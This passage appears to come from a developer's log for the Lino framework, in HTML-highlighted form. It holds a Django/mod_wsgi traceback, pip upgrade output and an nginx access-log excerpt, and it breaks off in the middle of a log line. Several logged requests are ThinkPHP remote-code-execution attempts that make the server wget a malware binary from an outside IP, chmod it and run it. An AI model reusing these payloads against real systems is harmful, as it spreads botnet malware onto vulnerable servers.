  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/twisted/internet/asyncioreactor.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;
    &lt;span class="n"&gt;eventloop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_event_loop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/asyncio/events.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;644&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_event_loop&lt;/span&gt;
    &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;threading&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;current_thread&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="ne"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;There&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;current&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt; &lt;span class="n"&gt;loop&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;thread&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Dummy-1&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;mod_wsgi&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;23481&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt; &lt;span class="n"&gt;Python&lt;/span&gt; &lt;span class="n"&gt;script&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/local/python/lino_sites/hobbit/apache/wsgi.py&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;mod_wsgi&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;23481&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;occurred&lt;/span&gt; &lt;span class="n"&gt;processing&lt;/span&gt; &lt;span class="n"&gt;WSGI&lt;/span&gt; &lt;span class="n"&gt;script&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/local/python/lino_sites/hobbit/apache/wsgi.py&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/python/lino_sites/hobbit/apache/wsgi.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino_local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;setup_wsgi&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;setup_wsgi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;globals&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/python/lino_local.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;setup_wsgi&lt;/span&gt;
    &lt;span class="n"&gt;globals_dict&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_wsgi_application&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/core/wsgi.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_wsgi_application&lt;/span&gt;
    &lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;set_prefix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;
    &lt;span class="n"&gt;apps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;populate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;INSTALLED_APPS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/apps/registry.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;83&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;populate&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;populate() isn&amp;#39;t reentrant&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="ne"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;populate&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="n"&gt;isn&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;t reentrant&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip install -U channels
...
Installing collected packages: asgiref, daphne, channels
  Found existing installation: asgiref 2.3.2
    Uninstalling asgiref-2.3.2:
      Successfully uninstalled asgiref-2.3.2
  Found existing installation: daphne 2.2.4
    Uninstalling daphne-2.2.4:
      Successfully uninstalled daphne-2.2.4
  Found existing installation: channels 2.1.6
    Uninstalling channels-2.1.6:
      Successfully uninstalled channels-2.1.6
Successfully installed asgiref-3.2.3 channels-2.3.1 daphne-2.3.0
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Releases to PyPI: lino, xl, avanti&lt;/p&gt;
&lt;p&gt;Excerpt from nginx access log of a public production server:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mf"&gt;177.66.145.245&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Nov&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET /index.php?s=/index/&lt;/span&gt;&lt;span class="se"&gt;\x09&lt;/span&gt;&lt;span class="s2"&gt;hink&lt;/span&gt;&lt;span class="se"&gt;\x07&lt;/span&gt;&lt;span class="s2"&gt;pp/invokefunction&amp;amp;function=call_user_func_array&amp;amp;vars[0]=shell_exec&amp;amp;vars[1][]=&amp;#39;wget http://194.182.85.62/bins/Tsunami.x86 -O thpnkphp ; chmod 777 thpnkphp ; ./thpnkphp ThinkPHP ; rm -rf thinkphp&amp;#39; HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="mi"&gt;173&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Tsunami/2.0&amp;quot;&lt;/span&gt;
&lt;span class="mf"&gt;69.249.245.65&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Nov&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET / HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt; &lt;span class="mi"&gt;612&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt;
&lt;span class="mf"&gt;149.200.181.46&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Nov&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET /index.php?s=/index/&lt;/span&gt;&lt;span class="se"&gt;\x09&lt;/span&gt;&lt;span class="s2"&gt;hink&lt;/span&gt;&lt;span class="se"&gt;\x07&lt;/span&gt;&lt;span class="s2"&gt;pp/invokefunction&amp;amp;function=call_user_func_array&amp;amp;vars[0]=shell_exec&amp;amp;vars[1][]= &amp;#39;wget http://157.245.182.3/sunless/sunless.x86 -O /tmp/.sunless; chmod 777 /tmp/.sunless; /tmp/.sunless thinkphp&amp;#39; HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="mi"&gt;173&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;thinkphp/2.0&amp;quot;&lt;/span&gt;
&lt;span class="mf"&gt;86.108.110.123&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Nov&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;46&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET /index.php?s=/index/&lt;/span&gt;&lt;span class="se"&gt;\x09&lt;/span&gt;&lt;span class="s2"&gt;hink&lt;/span&gt;&lt;span class="se"&gt;\x07&lt;/span&gt;&lt;span class="s2"&gt;pp/invokefunction&amp;amp;function=call_user_func_array&amp;amp;vars[0]=shell_exec&amp;amp;vars[1][]= &amp;#39;wget http://157.245.182.3/sunless/sunless.x86 -O /tmp/.sunless; chmod 777 /tmp/.sunless; /tmp/.sunless thinkphp&amp;#39; HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="mi"&gt;173&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;thinkphp/2.0&amp;quot;&lt;/span&gt;
&lt;span class="mf"&gt;45.95.168.115&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Nov&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;51&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET /index.php?s=/index/&lt;/span&gt;&lt;span class="se"&gt;\x09&lt;/span&gt;&lt;span class="s2"&gt;hink&lt;/span&gt;&lt;span class="se"&gt;\x07&lt;/span&gt;&lt;span class="s2"&gt;pp/invokefunction&amp;amp;function=call_user_func_array&amp;amp;vars[0]=shell_exec&amp;amp;vars[1][]=&amp;#39;wget http://185.172.110.232/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp&amp;#39; HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="mi"&gt;173&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Uirusu/2.0&amp;quot;&lt;/span&gt;
&lt;span class="mf"&gt;77.247.109.38&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Nov&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;HEAD /robots.txt HTTP/1.0&amp;quot;&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt;
&lt;span class="mf"&gt;174.138.3.29&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Nov&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET /index.php?s=/index/&lt;/span&gt;&lt;span class="se"&gt;\x09&lt;/span&gt;&lt;span class="s2"&gt;hink&lt;/span&gt;&lt;span class="se"&gt;\x07&lt;/span&gt;&lt;span class="s2"&gt;pp/invokefunction&amp;amp;function=call_user_func_array&amp;amp;vars[0]=shell_exec&amp;amp;vars[1][]=&amp;#39;wget http://82.118.242.108/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp&amp;#39; HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="mi"&gt;173&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Uirusu/2.0&amp;quot;&lt;/span&gt;
&lt;span class="mf"&gt;94.249.55.115&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Nov&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET /index.php?s=/index/&lt;/span&gt;&lt;span class="se"&gt;\x09&lt;/span&gt;&lt;span class="s2"&gt;hink&lt;/span&gt;&lt;span class="se"&gt;\x07&lt;/span&gt;&lt;span class="s2"&gt;pp/invokefunction&amp;amp;function=call_user_func_array&amp;amp;vars[0]=shell_exec&amp;amp;vars[1][]= &amp;#39;wget http://157.245.182.3/sunless/sunless.x86 -O /tmp/.sunless; chmod 777 /tmp/.sunless; /tmp/.sunless thinkphp&amp;#39; HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="mi"&gt;173&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;thinkphp/2.0&amp;quot;&lt;/span&gt;
&lt;span class="mf"&gt;104.248.164.231&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Nov&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET / HTTP/1.0&amp;quot;&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt; &lt;span class="mi"&gt;612&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;masscan/1.0 (https://github.com/robertdavidgraham/masscan)&amp;quot;&lt;/span&gt;
&lt;span class="mf"&gt;78.128.112.14&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Nov&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\x03\x00\x00&lt;/span&gt;&lt;span class="s2"&gt;+&amp;amp;&lt;/span&gt;&lt;span class="se"&gt;\xE0\x00\x00\x00\x00\x00&lt;/span&gt;&lt;span class="s2"&gt;Cookie: mstshash=hello&amp;quot;&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="mi"&gt;173&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt;
&lt;span class="mf"&gt;120.79.50.93&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Nov&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET /webdav/ HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt; &lt;span class="mi"&gt;169&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Mozilla/5.0&amp;quot;&lt;/span&gt;
&lt;span class="mf"&gt;110.139.28.38&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Nov&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;06&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET / HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt; &lt;span class="mi"&gt;612&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36&amp;quot;&lt;/span&gt;
&lt;span class="mf"&gt;50.207.163.12&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Nov&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0100&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET /index.php?s=/index/&lt;/span&gt;&lt;span class="se"&gt;\x5C&lt;/span&gt;&lt;span class="s2"&gt;think&lt;/span&gt;&lt;span class="se"&gt;\x5C&lt;/span&gt;&lt;span 